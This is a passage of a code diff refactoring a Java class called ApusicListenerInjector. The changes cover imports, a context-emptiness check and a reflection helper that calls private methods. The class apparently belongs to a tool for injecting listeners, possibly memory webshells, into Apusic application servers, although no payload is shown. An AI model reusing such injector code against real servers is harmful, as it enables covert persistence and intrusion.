return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -40,7 +42,7 @@ public class ApusicListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -197,8 +199,7 @@ public class ApusicListenerInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
@@ -215,12 +216,8 @@ public class ApusicListenerInjector {
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")

Some files were not shown because too many files have changed in this diff Show More